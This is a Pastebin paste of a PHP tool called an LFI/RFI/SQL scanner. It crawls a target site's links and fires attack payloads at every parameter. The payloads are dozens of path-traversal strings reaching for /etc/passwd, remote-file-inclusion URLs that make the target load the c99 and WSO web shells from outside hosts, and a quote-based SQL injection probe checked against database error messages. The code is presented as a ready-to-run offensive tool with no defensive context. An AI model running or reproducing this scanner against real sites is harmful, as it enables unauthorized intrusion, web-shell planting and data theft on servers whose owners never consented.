Advertisement
Syndrome69

RFL/LFI/SQLI Scanner

Apr 3rd, 2019
200
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.93 KB | None | 0 0
  1. <html>
  2. <head><title>LFI/RFI/SQL Scanner</title></head>
  3. <?php
  4. set_time_limit(0);
  5. if (isset($_GET["do"])) {
  6. $do = explode(":",$_GET["do"]);
  7. if ($do[0] == "selected") {selected($do[1]); }
  8. elseif ($do[0] == "scantime") { scantime($do[1]); }
  9.  
  10. } else { main(); }
  11.  
  12. function main(){
  13. echo 'LFI, RFI, SQL - Scanner
  14. <form action="" method="post">
  15. Site to test: <input name="scan" type="text" />
  16. <input type="submit" name="searchn" value="Scan"/>
  17. </form>';
  18. $link = $_POST['scan'];
  19. preg_match('@^(?:http://)?([^/]+)@i',$link, $matches);
  20. $host = $matches[1];
  21.  
  22. function getLinks($link) {
  23. $ret = array();
  24. $dom = new domDocument;
  25. @$dom->loadHTML(file_get_contents($link));
  26. $dom->preserveWhiteSpace = false;
  27. $links = $dom->getElementsByTagName('a');
  28. foreach ($links as $tag)
  29. {
  30. $ret[$tag->getAttribute('href')] = $tag->childNodes->item(0)->nodeValue;
  31. }
  32. return $ret;
  33. }
  34. if (isset($_POST["searchn"])) {
  35. echo '<form action="lfi.php?do=selected" method="post">';
  36. echo "<br>Links found: <ol>";
  37. if (preg_match("/=/", $link)) {
  38. echo '<input name="sites[]" type="checkbox" id="sites[]" value="'.$link.'">'.$link.'<br>';
  39. }
  40. $urls = getLinks($link);
  41. if(sizeof($urls) > 0)
  42. {
  43. foreach($urls as $key=>$value)
  44. {
  45. if (preg_match("/=/i", $key)) {
  46. if (preg_match("/.com|.net|.org|.co.uk|.com.au|.us/", $key)) {
  47. echo '<input name="sites[]" type="checkbox" id="sites[]" value="'.$key.'">'.$key.'<br>';
  48. }
  49. else{
  50. echo '<input name="sites[]" type="checkbox" id="sites[]" value="'.$host.'/'.$key.'">'.$host.'/'.$key.'<br>';
  51. }
  52. }
  53. }
  54. echo "</ol>";
  55. }
  56. else
  57. {
  58. echo "</ol>";
  59. echo "No exploitable links found at $link<br><br>";
  60. }
  61. echo "<input type='submit' value='Scan Sites'></form>";
  62. }
  63. }
  64.  
  65. function selected(){
  66. echo '<form action="lfi.php?do=scantime" method="post">';
  67. $sites = $_POST['sites'];
  68. $n = count($sites);
  69. $i = 0;
  70. $r = 1;
  71. echo "Testing.." .
  72. "<ol>";
  73. while ($i < $n)
  74. {
  75. $site = "{$sites[$i]}";
  76. $equals = strrpos($site,"=");
  77. $siteedit = substr_replace($site, '', $equals+1);
  78. echo "<br />$r. $siteedit<br />";
  79. rfi($siteedit);
  80. lfi($siteedit);
  81. sql($siteedit);
  82. $i++;
  83. $r++;
  84. }
  85. echo "</ol>";
  86. echo "<a href='lfi.php'>Test again</a>";
  87. }
  88.  
  89. function lfi($site) {
  90. $lfifound = 0;
  91. $lfi = array(
  92. "/etc/passwd",
  93. "../etc/passwd",
  94. "../../etc/passwd",
  95. "../../../etc/passwd",
  96. "aesad.cf/wso.txt",
  97. "http://aesad.cf/wso.txt",
  98. "../../../../etc/passwd",
  99. "../../../../../etc/passwd",
  100. "../../../../../../etc/passwd",
  101. "../../../../../../../etc/passwd",
  102. "../../../../../../../../etc/passwd",
  103. "../../../../../../../../../etc/passwd",
  104. "../../../../../../../../../../etc/passwd",
  105. "/etc/passwd%00",
  106. "../etc/passwd%00",
  107. "../../etc/passwd%00",
  108. "../../../etc/passwd%00",
  109. "../../../../etc/passwd%00",
  110. "../../../../../etc/passwd%00",
  111. "../../../../../../etc/passwd%00",
  112. "../../../../../../../etc/passwd%00",
  113. "../../../../../../../../etc/passwd%00",
  114. "../../../../../../../../../etc/passwd%00",
  115. "../../../../../../../../../../etc/passwd%00"
  116. );
  117.  
  118. $totallfi = count($lfi);
  119. for($i=0; $i<$totallfi; $i++)
  120. {
  121. $GET = @file_get_contents("$site$lfi[$i]");
  122. if (preg_match("/root/i",$GET, $matches)) {
  123. echo "LFI found: $site$lfi[$i]<br>";
  124. $lfifound = 1;
  125. }
  126. }
  127. if ($lfifound == 0) {
  128. echo "No LFI found.<br>";
  129. }
  130. }
  131.  
  132. function rfi($site) {
  133. $rfifound = 0;
  134. $rfi = "http://www.evilc0der.com/c99.txt?";
  135. $GET1 = @file_get_contents("$site$rfi");
  136. if (preg_match("/root/i",$GET1, $matches)) {
  137. echo "RFI found: $site$rfi<br>";
  138. $rfifound = 1;
  139. }
  140. if ($rfifound == 0) {
  141. echo "No RFI found.<br>";
  142. }
  143. }
  144.  
  145. function sql($site) {
  146. $sqlfound = 0;
  147. $sql = "99'";
  148. $GET2 = @file_get_contents("$site$sql");
  149. if (preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch_row()|SELECT * FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i",$GET2, $matches)) {
  150. echo "SQL found: $site$sql<br>";
  151. $sqlfound = 1;
  152. }
  153. if ($sqlfound == 0) {
  154. echo "No SQL found.<br>";
  155. }
  156. }
  157. ?>
  158. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement